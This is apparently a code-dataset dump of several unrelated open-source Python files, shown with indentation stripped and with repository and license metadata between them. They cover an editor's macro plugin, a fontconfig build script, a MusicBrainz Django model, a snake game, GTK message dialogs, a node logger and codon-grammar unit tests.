"""Update the list to contain only valid macros.
This is used after rearranging the macro file system.
"""
valid_macros = []
for name in cls.storage:
macro = MacroFS.getMacro(name)
if macro:
valid_macros.append(name)
cls.setStorage(valid_macros)
@classmethod
def setStorage(cls, array):
cls.storage = array
cls.trimStorage(MacroPlugin.classprefs.list_length)
cls.calcHash()
@classmethod
def getLastMacroName(cls):
"""Return the pathname of the most recently added macro
@returns pathname within the macro: filesystem
"""
if cls.storage:
return cls.storage[0]
return None
@classmethod
def getLastMacro(cls):
"""Return the most recently added macro
@returns L{PythonScriptableMacro} instance, or None if no macro has yet
been added.
"""
name = cls.getLastMacroName()
if name:
return MacroFS.getMacro(name)
return None
def action(self, index=-1, multiplier=1):
name = self.storage[index]
macro = MacroFS.getMacro(name)
assert self.dprint("replaying macro %s" % macro)
wx.CallAfter(macro.playback, self.frame, self.mode, 1)
class MacroSaveData(object):
"""Data transfer object to serialize the state of the macro system"""
version = 1
def __init__(self):
self.macros = MacroFS.macros
self.recent = RecentMacros.storage
@classmethod
def load(cls, url):
import cPickle as pickle
# Note: because plugins are loaded using the execfile command, pickle
# can't find classes that are in the global namespace. Have to supply
# PythonScriptableMacro into the builtin namespace to get around this.
import __builtin__
__builtin__.PythonScriptableMacro = PythonScriptableMacro
if not vfs.exists(url):
return
fh = vfs.open(url)
bytes = fh.read()
fh.close()
if bytes:
version, data = pickle.loads(bytes)
if version == 1:
cls.unpackVersion1(data)
else:
raise RuntimeError("Unknown version of MacroSaveData in %s" % url)
@classmethod
def unpackVersion1(cls, data):
root, recent = data
if isinstance(root, MemDir):
MacroFS.root = root
#dprint(MacroFS.macros)
RecentMacros.setStorage(recent)
else:
dprint("Found prerelease version of macro filesystem; not loading")
@classmethod
def save(cls, url):
bytes = cls.packVersion1()
fh = vfs.open_write(url)
fh.write(bytes)
fh.close()
@classmethod
def packVersion1(cls):
import cPickle as pickle
# See above for the note about the builtin namespace
import __builtin__
__builtin__.PythonScriptableMacro = PythonScriptableMacro
data = (cls.version, (MacroFS.root, RecentMacros.storage))
#dprint(data)
pickled = pickle.dumps(data)
return pickled
class TempMacro(TempFile):
file_class = PythonScriptableMacro
class MacroFS(MemFS):
"""Filesystem to recognize "macro:macro_name" URLs
This simple filesystem allows URLs in the form of "macro:macro_name", and
provides the mapping from the macro name to the L{PythonScriptableMacro}
instance.
On disk, this is serialized as a pickle object of the macro class attribute.
"""
root = MemDir()
temp_file_class = TempMacro
@classmethod
def escapeFileName(cls, name):
name = name.replace("/", " ")
return name.strip()
@classmethod
def findAlternateName(cls, dirname, basename):
"""Find alternate name if the requested name already exists
If basename already exists in the directory, appends the emacs-style
counter <1>, <2>, etc. until an unused filename is found.
@returns: new filename guaranteed to be unique
"""
if dirname:
if not dirname.endswith("/"):
dirname += "/"
else:
dirname = ""
orig_basename = basename
fullpath = dirname + basename
count = 0
existing = True
while existing:
parent, existing, name = cls._find(fullpath)
if existing:
count += 1
basename = orig_basename + "<%d>" % count
fullpath = dirname + basename
return fullpath, basename
@classmethod
def addMacro(cls, macro, dirname=None):
if dirname:
if not dirname.endswith("/"):
dirname += "/"
# Make sure the directory exists
url = vfs.normalize("macro:%s" % dirname)
needs_mkdir = False
if vfs.exists(url):
if vfs.is_file(url):
# we have a macro that is the same name as the directory
# name. Rename the file and create the directory.
components = dirname.strip('/').split('/')
filename = components.pop()
parent_dirname = "/".join(components)
dum, new_filename = cls.findAlternateName(parent_dirname, filename)
#dprint("parent=%s filename=%s: New filename: %s" % (parent_dirname, filename, new_filename))
parent, existing, name = cls._find(parent_dirname)
#dprint("existing=%s" % existing)
existing[new_filename] = existing[filename]
del existing[filename]
#dprint("existing after=%s" % existing)
needs_mkdir = True
else:
needs_mkdir = True
if needs_mkdir:
#dprint("Making folder %s" % url)
vfs.make_folder(url)
else:
dirname = ""
fullpath, basename = cls.findAlternateName(dirname, macro.name)
parent, existing, name = cls._find(dirname)
#dprint("name=%s: parent=%s, existing=%s" % (basename, parent, existing))
macro.setName(fullpath)
existing[basename] = macro
@classmethod
def addMacroFromRecording(cls, recorder, mode):
"""Add a macro to the macro: filesystem.
The macro: filesystem is organized by major mode name. Any macro that
is defined on the Fundamental mode appears is valid for text modes;
otherwise, the macros are organized into directories based on mode
name.
"""
macro = PythonScriptableMacro(recorder)
path = mode.keyword
cls.addMacro(macro, path)
return macro
@classmethod
def getMacro(cls, name):
"""Get the L{PythonScriptableMacro} given the pathname of the macro
@param name: string or URL of macro
"""
try:
name = unicode(name.path)
except:
name = unicode(name)
parent, macro, name = cls._find(name)
#dprint(macro)
return macro
@classmethod
def isMacro(cls, name):
try:
name = unicode(name.path)
except:
name = unicode(name)
parent, macro, name = cls._find(name)
return bool(macro)
@classmethod
def getMacroNamesFromMajorModeClass(cls, modecls):
"""Get the list of macro names available for the specified major mode
class.
This is roughly equivalent to using C{vfs.get_names("macro:%s" %
mode.keyword)} except that it also handles the case of universal
macros linked to the abstract L{MajorMode} that are in the macro
directory "".
@param modecls: major mode class
@returns: tuple containing the path in the macro: filesystem and the
list of all macros in that path
"""
keyword = modecls.keyword
if keyword == "Abstract_Major_Mode":
path = ""
else:
path = keyword
try:
all_names = vfs.get_names("macro:%s" % path)
except OSError:
all_names = []
# Check to see that all the names are macro names and not directories
macro_names = []
for name in all_names:
url = "macro:" + path + "/" + name
if vfs.is_file(url):
macro_names.append(name)
return path, macro_names
@classmethod
def get_mimetype(cls, reference):
path = str(reference.path)
parent, existing, name = cls._find(path)
if existing:
if existing.is_file:
return "text/x-python"
return "application/x-not-regular-file"
raise OSError("[Errno 2] No such file or directory: '%s'" % reference)
class MacroTreeCtrl(wx.TreeCtrl):
"""Abstract TreeCtrl specialized to show macros
Must be subclassed and the L{addMacrosToTree} method must be defined that
populates the tree with all the macros to be displayed.
"""
def __init__(self, parent, allow_activation=True):
self.allow_activation = allow_activation
if wx.Platform == '__WXMSW__':
style = wx.TR_HAS_BUTTONS
self.has_root = True
else:
style = wx.TR_HIDE_ROOT|wx.TR_HAS_BUTTONS
self.has_root = False
wx.TreeCtrl.__init__(self, parent, -1, size=(self.classprefs.best_width, self.classprefs.best_height), style=style | wx.TR_EDIT_LABELS | wx.TR_MULTIPLE)
self.root = self.AddRoot("root item")
self.hierarchy = None
self.Bind(wx.EVT_TREE_ITEM_ACTIVATED, self.OnActivate)
self.Bind(wx.EVT_TREE_ITEM_COLLAPSING, self.OnCollapsing)
self.Bind(wx.EVT_TREE_BEGIN_LABEL_EDIT, self.OnBeginEdit)
self.Bind(wx.EVT_TREE_END_LABEL_EDIT, self.OnEndEdit)
self.allow_char_events = True
self.Bind(wx.EVT_CHAR, self.OnChar)
def OnChar(self, evt):
dprint(evt)
if self.allow_char_events:
evt.Skip()
def enableKeystrokeProcessing(self):
self.allow_char_events = True
def disableKeystrokeProcessing(self):
self.allow_char_events = False
def activateSpringTab(self):
"""Callback function from the SpringTab handler requesting that we
initialize ourselves.
"""
self.update()
def update(self, evt=None):
"""Rebuild the entire tree
Calls the L{addMacrosToTree} to rebuild the tree after all the items
below the root item have been deleted.
"""
self.DeleteChildren(self.root)
self.addMacrosToTree()
if self.has_root:
self.Expand(self.root)
if evt:
evt.Skip()
def addMacrosToTree(self):
"""Repopulate the macros into the tree
Upon entering this method, the tree will have been previously cleared
of everything but the root object. Any hierarchy expansion is left to
the individual implementation; it may hide or show levels as desired.
The root item will be expanded upon this method's return.
"""
keywords = self.findKeywordHierarchy()
# Getting the names of macros for a specific major mode may fail if no
# macros exist
for keyword in keywords:
self.appendAllFromMajorMode(keyword)
def findKeywordHierarchy(self):
"""Return a list of keywords representing the major mode subclassing
hierarchy of the major modes of interest.
This method must be overridden in a subclass to provide the list of
keywords to display
"""
raise NotImplementedError
def appendAllFromMajorMode(self, keyword):
"""Append all macros for a given major mode
"""
if keyword == "Abstract_Major_Mode":
keyword = "Universal Macros"
path = ""
else:
path = keyword
item = self.AppendItem(self.root, _(keyword))
try:
names = vfs.get_names("macro:%s" % path)
self.appendItems(item, path, names)
except OSError:
pass
self.Expand(item)
def appendItems(self, wxParent, path, names):
"""Append the macro names to the specified item
For the initial item highlighing, uses the current_line instance
attribute to determine the line number.
"""
names.sort()
for name in names:
if path:
fullpath = path + "/" + name
else:
fullpath = name
url = "macro:" + fullpath
if vfs.is_file(url):
text = self.getTextForMacroName(fullpath, name)
wxItem = self.AppendItem(wxParent, text)
self.SetPyData(wxItem, fullpath)
def getTextForMacroName(self, path, name):
"""Given the macro name, return the text to display in the list
This can be overridden in subclasses to provide the keystroke to which
the macro is bound, if the macro is active in the current major mode
"""
return name
def OnActivate(self, evt):
if self.allow_activation:
name = self.GetPyData(evt.GetItem())
self.dprint("Activating macro %s" % name)
if name is not None:
macro = MacroFS.getMacro(name)
wx.CallAfter(macro.playback, self.getFrame(), self.mode)
def OnCollapsing(self, evt):
item = evt.GetItem()
if item == self.root:
# Don't allow the root item to be collapsed
evt.Veto()
evt.Skip()
def OnBeginEdit(self, evt):
item = evt.GetItem()
name = self.GetPyData(item)
if name == None:
# Only actual macros are allowed to be edited. Other items in the
# tree are not macros, so we veto edit requests
evt.Veto()
def OnEndEdit(self, evt):
if evt.IsEditCancelled():
return
item = evt.GetItem()
old_path = self.GetPyData(item)
new_name = evt.GetLabel()
components = old_path.split('/')
components.pop()
dirname = '/'.join(components)
new_path = dirname + '/' + new_name
dprint("old=%s new=%s" % (old_path, new_path))
exists = MacroFS.getMacro(new_name)
if exists:
evt.Veto()
wx.CallAfter(self.frame.showErrorDialog, "Cannot rename %s\%s already exists.")
else:
vfs.move("macro:%s" % old_path, "macro:%s" % new_path)
self.SetPyData(item, new_path)
RecentMacros.validateAll()
def getSelectedMacros(self):
"""Return a list of all the selected macros
@returns: a list containing the URL of the macro
"""
paths = []
for item in self.GetSelections():
path = self.GetPyData(item)
if path is not None:
paths.append(vfs.normalize("macro:%s" % path))
return paths
def getOptionsForPopupActions(self):
options = {
'minor_mode': self,
'macros': self.getSelectedMacros(),
}
return options
class MacroListMinorMode(MacroTreeCtrl, MinorMode):
"""Tree control to display list of macros available for this major mode
"""
keyword="Macros"
default_classprefs = (
IntParam('best_width', 300),
IntParam('best_height', 500),
BoolParam('springtab', True),
)
@classmethod
def worksWithMajorMode(cls, modecls):
return True
@classmethod
def showWithMajorModeInstance(cls, mode=None, **kwargs):
# It only makes sense to allow macros on modes that you can save
return mode.isMacroProcessingAvailable()
def __init__(self, parent, **kwargs):
MacroTreeCtrl.__init__(self, parent, allow_activation=True)
MinorMode.__init__(self, parent, **kwargs)
self.SetItemText(self.root, (_("Macros Compatible with %s") % self.mode.keyword))
def findKeywordHierarchy(self):
"""Return a list of keywords representing the major mode subclassing
hierarchy of the current major mode.
"""
modecls = self.mode.__class__
keywords = []
hierarchy = modecls.getSubclassHierarchy()
hierarchy.reverse()
for cls in hierarchy:
keywords.append(cls.keyword)
return keywords
def getTextForMacroName(self, path, name):
macro = MacroFS.getMacro(path)
if macro.key_binding:
return "%s (%s)" % (name, macro.key_binding)
else:
return name
def getPopupActions(self, evt, x, y):
return [EditMacro, RenameMacro, (-800, RebindMacro), (-900, DeleteMacro)]
class MacroListSidebar(MacroTreeCtrl, Sidebar):
"""Tree control to display list of macros available for this major mode
"""
keyword = "All Macros"
caption = "All Macros"
default_classprefs = (
IntParam('best_width', 300),
IntParam('best_height', 500),
BoolParam('springtab', True),
)
def __init__(self, parent, **kwargs):
MacroTreeCtrl.__init__(self, parent, allow_activation=False)
Sidebar.__init__(self, parent, **kwargs)
self.SetItemText(self.root, _("All Macros"))
def findKeywordHierarchy(self):
"""Return a list of keywords representing the major mode subclassing
hierarchy of the current major mode.
"""
mode_classes = MajorModeMatcherDriver.findActiveModes()
mode_classes.reverse()
keywords = []
# Put the major mode first
keywords.append(mode_classes.pop(0).keyword)
mode_classes.sort(cmp=lambda a,b: cmp(a.keyword, b.keyword))
for cls in mode_classes:
keywords.append(cls.keyword)
return keywords
def getPopupActions(self, evt, x, y):
return [EditMacro, RenameMacro, (-900, DeleteMacro)]
class EditMacro(SelectAction):
"""Edit the macro in a new tab.
"""
name = "Edit Macro"
def isEnabled(self):
# As long as at least one item in the list is a macro, this can be
# enabled.
macros = self.popup_options['macros']
for path in self.popup_options['macros']:
if vfs.is_file(path):
return True
return False
def action(self, index=-1, multiplier=1):
dprint(self.popup_options)
for url in self.popup_options['macros']:
self.frame.open(url)
class RenameMacro(SelectAction):
"""Rename the selected macros.
"""
name = "Rename Macro"
def isEnabled(self):
macros = self.popup_options['macros']
return len(macros) == 1 and vfs.is_file(macros[0])
def action(self, index=-1, multiplier=1):
tree = self.popup_options['minor_mode']
items = tree.GetSelections()
if items:
tree.EditLabel(items[0])
class DeleteMacro(SelectAction):
"""Delete the selected macros.
"""
name = "Delete Macro"
def isEnabled(self):
macros = self.popup_options['macros']
for path in self.popup_options['macros']:
if vfs.is_file(path):
return True
return False
def action(self, index=-1, multiplier=1):
dprint(self.popup_options)
wx.CallAfter(self.processDelete)
def processDelete(self):
tree = self.popup_options['minor_mode']
macros = tree.getSelectedMacros()
retval = self.frame.showQuestionDialog("Are you sure you want to delete:\n\n%s" % ("\n".join([str(m) for m in macros])))
if retval == wx.ID_YES:
for macro in macros:
vfs.remove(macro)
tree.update()
RecentMacros.validateAll()
class MacroKeystrokeRecorder(KeystrokeRecorder):
"""Custom subclass of KeystrokeRecorder used for new macro keybindings.
"""
def __init__(self, mode, macro_url, tree=None, trigger="RET", count=-1):
"""Constructor that starts the quoted keystroke capturing
@param tree: MacroTreeCtrl instance
@param mode: major mode instance
@keyword trigger: (optional) trigger keystroke string that will be used
to end a variable length key sequence
@keyword count: (optional) exact number of keystrokes to capture
@keyword append: True will append the key sequence to the
action's list of key bindings, False (the default) will replace it.
"""
self.tree = tree
self.mode = mode
self.url = macro_url
self.macro = MacroFS.getMacro(self.url)
if self.tree:
self.tree.disableKeystrokeProcessing()
KeystrokeRecorder.__init__(self, self.mode.frame.root_accel, trigger,
count, append=False,
platform="emacs",
action_name=self.macro.name)
def statusUpdateHook(self, status_text):
self.mode.setStatusText(status_text)
def finishRecordingHook(self, accelerator_text):
dprint(self.macro)
self.macro.key_binding = accelerator_text
self.macro.save(self.url)
if self.tree:
# Update the tree display to show the new keystroke
self.tree.update()
# Have to turn on keystroke processing in a CallAfter otherwise the
# RET char trigger gets processed as an action in the tree.
wx.CallAfter(self.tree.enableKeystrokeProcessing)
self.mode.regenerateKeyBindings()
class RebindMacro(SelectAction):
"""Change the key binding of the selected macro
"""
name = "New Key Binding"
def isEnabled(self):
macros = self.popup_options['macros']
return len(macros) == 1 and vfs.is_file(macros[0])
def action(self, index=-1, multiplier=1):
tree = self.popup_options['minor_mode']
items = tree.getSelectedMacros()
if items:
macro_url = items[0]
dprint(macro_url)
MacroKeystrokeRecorder(tree.mode, macro_url, tree=tree)
class RebindLastMacro(StopRecordingMixin, SelectAction):
"""Add keyboard binding for last macro that was recorded"""
name = "Add Keybinding For Last Macro"
key_bindings = {'default': "S-C-6", 'mac': "^S-6", 'emacs': ["C-x C-k", "S-C-6"]}
default_menu = ("Tools/Macros", 130)
def isEnabled(self):
return RecentMacros.isEnabled()
@classmethod
def isRecordable(cls):
return False
def action(self, index=-1, multiplier=1):
self.stopRecording()
name = RecentMacros.getLastMacroName()
if name:
MacroKeystrokeRecorder(self.mode, name)
else:
self.dprint("No recorded macro.")
class MacroPlugin(IPeppyPlugin):
"""Plugin providing the macro recording capability
"""
default_classprefs = (
StrParam('macro_file', 'macros.dat', 'File name in main peppy configuration directory used to store macro definitions'),
IntParam('list_length', 3, 'Number of macros to save in the Recent Macros list'),
)
def activateHook(self):
vfs.register_file_system('macro', MacroFS)
def initialActivation(self):
pathname = wx.GetApp().getConfigFilePath(self.classprefs.macro_file)
macro_url = vfs.normalize(pathname)
try:
MacroSaveData.load(macro_url)
except:
dprint("Failed loading macro data to %s" % macro_url)
import traceback
traceback.print_exc()
def requestedShutdown(self):
pathname = wx.GetApp().getConfigFilePath(self.classprefs.macro_file)
macro_url = vfs.normalize(pathname)
try:
MacroSaveData.save(macro_url)
except:
dprint("Failed saving macro data to %s" % macro_url)
import traceback
traceback.print_exc()
pass
def deactivateHook(self):
vfs.deregister_file_system('macro')
def getMinorModes(self):
yield MacroListMinorMode
def getSidebars(self):
yield MacroListSidebar
def getActions(self):
return [
StartRecordingMacro, StopRecordingMacro,
ReplayLastMacro, RebindLastMacro,
RecentMacros, ExecuteMacroByName, ExecuteMacroByKeystroke,
]
|
robmcmullen/peppy
|
peppy/plugins/macro.py
|
Python
|
gpl-2.0
| 47,677
|
#!/usr/bin/python
from pisi.actionsapi import shelltools, get, autotools, pisitools
def setup():
autotools.configure ("--prefix=/usr\
--disable-static\
--disable-docs\
--docdir=/usr/share/doc/fontconfig-2.10.2")
def build():
autotools.make ()
def install():
autotools.rawInstall ("DESTDIR=%s" % get.installDIR())
|
richard-fisher/repository
|
system/base/fontconfig/actions.py
|
Python
|
gpl-2.0
| 410
|
"""
.. module:: instrument_alias_type
The **Instrument Alias Type** Model. Here's a complete table of values, from the
MusicBrainz database dump of 2017-07-22:
+----+-----------------+--------+-------------+-------------+--------------------------------------+
| id | name | parent | child_order | description | gid |
+====+=================+========+=============+=============+======================================+
| 1 | Instrument name | | 0 | | 2322fc94-fbf3-3c09-b23c-aa5ec8d14fcd |
+----+-----------------+--------+-------------+-------------+--------------------------------------+
| 2 | Search hint | | | | 7d5ef40f-4856-3000-8667-aa13b9db547d |
+----+-----------------+--------+-------------+-------------+--------------------------------------+
PostgreSQL Definition
---------------------
The :code:`instrument_alias_type` table is defined in the MusicBrainz Server as:
.. code-block:: sql
CREATE TABLE instrument_alias_type ( -- replicate
id SERIAL, -- PK,
name TEXT NOT NULL,
parent INTEGER, -- references instrument_alias_type.id
child_order INTEGER NOT NULL DEFAULT 0,
description TEXT,
gid uuid NOT NULL
);
"""
from django.db import models
from django.utils.encoding import python_2_unicode_compatible
from . import abstract
from ..signals import pre_save_name_is_member_of_name_choices_list
@python_2_unicode_compatible
class instrument_alias_type(abstract.model_type):
"""
Not all parameters are listed here, only those that present some interest
in their Django implementation.
:param gid: this is interesting because it cannot be NULL but a default is
not defined in SQL. The default `uuid.uuid4` in Django will generate a
UUID during the creation of an instance.
"""
INSTRUMENT_NAME = 'Instrument name'
SEARCH_HINT = 'Search hint'
NAME_CHOICES = (
(INSTRUMENT_NAME, INSTRUMENT_NAME),
(SEARCH_HINT, SEARCH_HINT))
NAME_CHOICES_LIST = [_[0] for _ in NAME_CHOICES]
name = models.TextField(choices=NAME_CHOICES)
class Meta:
db_table = 'instrument_alias_type'
models.signals.pre_save.connect(pre_save_name_is_member_of_name_choices_list, sender=instrument_alias_type)
|
marios-zindilis/musicbrainz-django-models
|
musicbrainz_django_models/models/instrument_alias_type.py
|
Python
|
gpl-2.0
| 2,427
|
#!/usr/bin/env python
# game.py
#
# Copyright (C) 2013, 2014 Kano Computing Ltd.
# License: http://www.gnu.org/licenses/gpl-2.0.txt GNU General Public License v2
#
import stage
import gameloop
import math
import random
import config
import gamestate as gs
direction = (0, 0)
lastPos = (0, 0)
snake = []
speed = 1
apples = []
grow = config.initial_size - 1
score = 0
lives = 1
livesMax = 1
def update():
moveSnake()
checkCatch()
checkPositionAllowed()
def checkCatch():
if not len(snake) or not len(apples):
return
for i, apple in enumerate(apples):
if (snake[0][0]) == apple[0] and (snake[0][1]) == apple[1]:
eatApple(i)
def eatApple(i):
global grow, score
apples.pop(i)
spawnApple()
grow += config.food_values['apple']
score_value = 1
score += score_value
# adjust total score
try:
gs.state['total_score'] += score_value
except Exception:
pass
# adjust highest score
try:
if score > gs.state['highest_score']:
gs.state['highest_score'] = score
except Exception:
pass
# adjust total number of apples
try:
gs.state['total_number_of_apples'] += 1
except Exception:
pass
def moveSnake():
global grow, lastPos
last_unchanged = None
lastPos = (snake[len(snake) - 1][0], snake[len(snake) - 1][1])
for i, part in enumerate(snake):
if i == 0:
x = part[0] + speed * direction[0]
y = part[1] + speed * direction[1]
else:
x = last_unchanged[0]
y = last_unchanged[1]
last_unchanged = (snake[i][0], snake[i][1])
snake[i] = (x, y)
if grow:
snake.append(last_unchanged)
grow -= 1
# adjust longest snake
try:
if len(snake) > gs.state['longest_snake']:
gs.state['longest_snake'] = len(snake)
except Exception:
pass
# adjust total length
try:
gs.state['total_length'] += 1
except Exception:
pass
def getGameArea():
w = math.fabs(stage.boundaries['right'] - stage.boundaries['left'])
h = math.fabs(stage.boundaries['top'] - stage.boundaries['bottom'])
return int(math.floor(w * h))
def reset():
global direction, snake, apples_count, apples, score, grow
direction = (1, 0)
snake = [(0, 0)]
gameloop.frame = 1
apples_count = 1
apples = []
grow = config.initial_size - 1
apples_count += int(math.floor(getGameArea() / config.apple_domain))
for i in range(0, apples_count):
spawnApple()
def spawnApple():
if len(apples) >= getGameArea():
return
x = random.randrange(stage.boundaries['left'], stage.boundaries['right'])
y = random.randrange(stage.boundaries['top'], stage.boundaries['bottom'])
position_free = True
for apple in apples:
if apple[0] == x and apple[1] == y:
position_free = False
for part in snake:
if part[0] == x and part[1] == y:
position_free = False
if position_free and not isOutOfBoundaries(x, y):
apples.append((x, y))
else:
spawnApple()
def isOutOfBoundaries(x, y):
if x < stage.boundaries['left'] or x > stage.boundaries['right'] - 1:
return True
elif y < stage.boundaries['top'] or y > stage.boundaries['bottom'] - 1:
return True
return False
def checkPositionAllowed():
global lives
collides_with_body = False
x = snake[0][0]
y = snake[0][1]
for i in range(1, len(snake) - 1):
if x == snake[i][0] and y == snake[i][1]:
collides_with_body = True
break
if (collides_with_body or isOutOfBoundaries(x, y)):
gameloop.reset()
lives -= 1
if lives == 0:
lives = livesMax
gameloop.state = 2
|
alexaverill/make-snake
|
snake/game.py
|
Python
|
gpl-2.0
| 3,912
|
from __future__ import print_function, division, absolute_import
#
# Copyright (c) 2010 Red Hat, Inc.
#
# This software is licensed to you under the GNU General Public License,
# version 2 (GPLv2). There is NO WARRANTY for this software, express or
# implied, including the implied warranties of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. You should have received a copy of GPLv2
# along with this software; if not, see
# http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt.
#
# Red Hat trademarks are not licensed under GPLv2. No permission is
# granted to use or replicate Red Hat trademarks that are incorporated
# in this software or its documentation.
#
from subscription_manager.ga import GObject as ga_GObject
from subscription_manager.ga import Gtk as ga_Gtk
# wrap a long line...
def wrap_line(line, max_line_size=100):
if len(line) < max_line_size:
return line
ret = []
l = ""
for w in line.split():
if not len(l):
l = w
continue
if len(l) > max_line_size:
ret.append(l)
l = w
else:
l = "%s %s" % (l, w)
if len(l):
ret.append(l)
return '\n'.join(ret)
# wrap an entire piece of text
def wrap_text(txt):
return '\n'.join(map(wrap_line, txt.split('\n')))
class MessageWindow(ga_GObject.GObject):
__gsignals__ = {
'response': (ga_GObject.SignalFlags.RUN_LAST, None,
(ga_GObject.TYPE_BOOLEAN,))
}
def __init__(self, text, parent=None, title=None):
ga_GObject.GObject.__init__(self)
self.rc = None
# this seems to be wordwrapping text passed to
# it, which is making for ugly error messages
self.dialog = ga_Gtk.MessageDialog(parent, 0, self.STYLE, self.BUTTONS)
if title:
self.dialog.set_title(title)
# escape product strings see rh bz#633438
self.dialog.set_markup(text)
self.dialog.set_default_response(0)
self.dialog.set_position(ga_Gtk.WindowPosition.CENTER_ON_PARENT)
self.dialog.show_all()
self.dialog.set_icon_name('subscription-manager')
self.dialog.set_modal(True)
#this seems spurious, but without it, a ref to this obj gets "lost"
ga_GObject.add_emission_hook(self, 'response', self.noop_hook)
self.dialog.connect("response", self._on_response_event)
def _on_response_event(self, dialog, response):
rc = response in [ga_Gtk.ResponseType.OK, ga_Gtk.ResponseType.YES]
self.emit('response', rc)
self.hide()
def hide(self):
self.dialog.hide()
def noop_hook(self, dummy1=None, dummy2=None):
pass
class ErrorDialog(MessageWindow):
BUTTONS = ga_Gtk.ButtonsType.OK
STYLE = ga_Gtk.MessageType.ERROR
class OkDialog(MessageWindow):
BUTTONS = ga_Gtk.ButtonsType.OK
STYLE = ga_Gtk.MessageType.INFO
class InfoDialog(MessageWindow):
BUTTONS = ga_Gtk.ButtonsType.OK
STYLE = ga_Gtk.MessageType.INFO
class YesNoDialog(MessageWindow):
BUTTONS = ga_Gtk.ButtonsType.YES_NO
STYLE = ga_Gtk.MessageType.QUESTION
class ContinueDialog(MessageWindow):
BUTTONS = ga_Gtk.ButtonsType.OK_CANCEL
STYLE = ga_Gtk.MessageType.WARNING
|
Lorquas/subscription-manager
|
src/subscription_manager/gui/messageWindow.py
|
Python
|
gpl-2.0
| 3,262
|
"""A very simple logger that tries to be concurrency-safe."""
import os, sys
import time
import traceback
import subprocess
import select
LOG_FILE = '/var/log/nodemanager.func'
# basically define 3 levels
LOG_NONE=0
LOG_NODE=1
LOG_VERBOSE=2
# default is to log a reasonable amount of stuff for when running on operational nodes
LOG_LEVEL=1
def set_level(level):
global LOG_LEVEL
assert level in [LOG_NONE,LOG_NODE,LOG_VERBOSE]
LOG_LEVEL=level
def verbose(msg):
log('(v) '+msg,LOG_VERBOSE)
def log(msg,level=LOG_NODE):
"""Write <msg> to the log file if level >= current log level (default LOG_NODE)."""
if (level > LOG_LEVEL):
return
try:
fd = os.open(LOG_FILE, os.O_WRONLY | os.O_CREAT | os.O_APPEND, 0600)
if not msg.endswith('\n'): msg += '\n'
os.write(fd, '%s: %s' % (time.asctime(time.gmtime()), msg))
os.close(fd)
except OSError:
sys.stderr.write(msg)
sys.stderr.flush()
def log_exc(msg="",name=None):
"""Log the traceback resulting from an exception."""
if name:
log("%s: EXCEPTION caught <%s> \n %s" %(name, msg, traceback.format_exc()))
else:
log("EXCEPTION caught <%s> \n %s" %(msg, traceback.format_exc()))
#################### child processes
# avoid waiting until the process returns;
# that makes debugging of hanging children hard
class Buffer:
def __init__ (self,message='log_call: '):
self.buffer=''
self.message=message
def add (self,c):
self.buffer += c
if c=='\n': self.flush()
def flush (self):
if self.buffer:
log (self.message + self.buffer)
self.buffer=''
# time out in seconds - avoid hanging subprocesses - default is 5 minutes
default_timeout_minutes=5
# returns a bool that is True when everything goes fine and the retcod is 0
def log_call(command,timeout=default_timeout_minutes*60,poll=1):
message=" ".join(command)
log("log_call: running command %s" % message)
verbose("log_call: timeout=%r s" % timeout)
verbose("log_call: poll=%r s" % poll)
trigger=time.time()+timeout
result = False
try:
child = subprocess.Popen(command, bufsize=1,
stdout=subprocess.PIPE, stderr=subprocess.STDOUT, close_fds=True)
buffer = Buffer()
while True:
# see if anything can be read within the poll interval
(r,w,x)=select.select([child.stdout],[],[],poll)
if r: buffer.add(child.stdout.read(1))
# is process over ?
returncode=child.poll()
# yes
if returncode != None:
buffer.flush()
# child is done and return 0
if returncode == 0:
log("log_call:end command (%s) completed" % message)
result=True
break
# child has failed
else:
log("log_call:end command (%s) returned with code %d" %(message,returncode))
break
# no : still within timeout ?
if time.time() >= trigger:
buffer.flush()
child.terminate()
log("log_call:end terminating command (%s) - exceeded timeout %d s"%(message,timeout))
break
except: log_exc("failed to run command %s" % message)
return result
|
caglar10ur/func
|
func/minion/modules/nm/logger.py
|
Python
|
gpl-2.0
| 3,426
|
import unittest
import string
from pprint import pprint
import XGram, XGram.Parser, XGram.Exceptions
from XGram.Generator.Prebuilt import Codons
from XGram.Model import Annotation
import Bio.Data.CodonTable
class GeneratorCodonsTest(unittest.TestCase):
"""
A test class for testing a grammar
"""
def setUp(self):
"""
set up data used in the tests.
setUp is called before each test function execution.
"""
self.mInputFile= XGram.PATH_DATA+"/dpse_dmel.stk"
self.mXgram = XGram.XGram()
self.mXgram.setDebug()
def tearDown(self):
"""
tear down any data used in tests
tearDown is called after each test function execution.
"""
pass
def testModelF3X4Two(self):
"""test f3x4-two model.
"""
self.buildAndCheckModel( "f3x4-two" )
def testModelF3X4Four(self):
"""test f3x4-four model.
"""
self.buildAndCheckModel( "f3x4-four" )
def testModelF3X4Four(self):
"""test f3x4-four model.
"""
self.buildAndCheckModel( "f3x4-fourproducts" )
def testModelCodonsTwo(self):
"""test codons-two model
"""
self.buildAndCheckModel( "codons-two" )
codons = Bio.Data.CodonTable.standard_dna_table.forward_table
codon_frequencies = {}
n = 1
f = 61 * 62 / 2
for codon in Bio.Data.CodonTable.standard_dna_table.forward_table:
codon_frequencies[codon] = float(n)/f
n += 1
self.buildAndCheckModel( "codons-four", codon_frequencies = codon_frequencies )
def testModelCodonsFour(self):
"""test codons-four model
"""
self.buildAndCheckModel( "codons-four" )
codons = Bio.Data.CodonTable.standard_dna_table.forward_table
codon_frequencies = {}
n = 1
f = 61 * 62 / 2
for codon in Bio.Data.CodonTable.standard_dna_table.forward_table:
codon_frequencies[codon] = float(n)/f
n += 1
self.buildAndCheckModel( "codons-four", codon_frequencies = codon_frequencies )
def buildAndCheckModel(self, codon_model, **kwargs):
"""build various models checking parameter settings."""
model = Codons.buildCodonML(codon_model = codon_model,
**kwargs )
self.checkModel( model )
model = Codons.buildCodonML(codon_model = codon_model,
fix_kappa = True,
**kwargs )
self.checkModel( model )
model = Codons.buildCodonML(codon_model = codon_model,
fix_omega = True,
**kwargs )
self.checkModel( model )
model = Codons.buildCodonML(codon_model = codon_model,
fix_omega = True,
fix_kappa = True,
**kwargs )
self.checkModel( model )
model = Codons.buildCodonML( codon_model,
num_blocks=2,
grammar_type="linear-blocks",
shared_frequencies = False,
shared_rates = False,
**kwargs )
self.checkModel(model)
num_blocks = 2
model = Codons.buildCodonML( codon_model,
num_blocks=num_blocks,
grammar_type="linear-blocks",
shared_frequencies = True,
shared_rates = False,
**kwargs)
self.checkModel(model)
num_blocks = 2
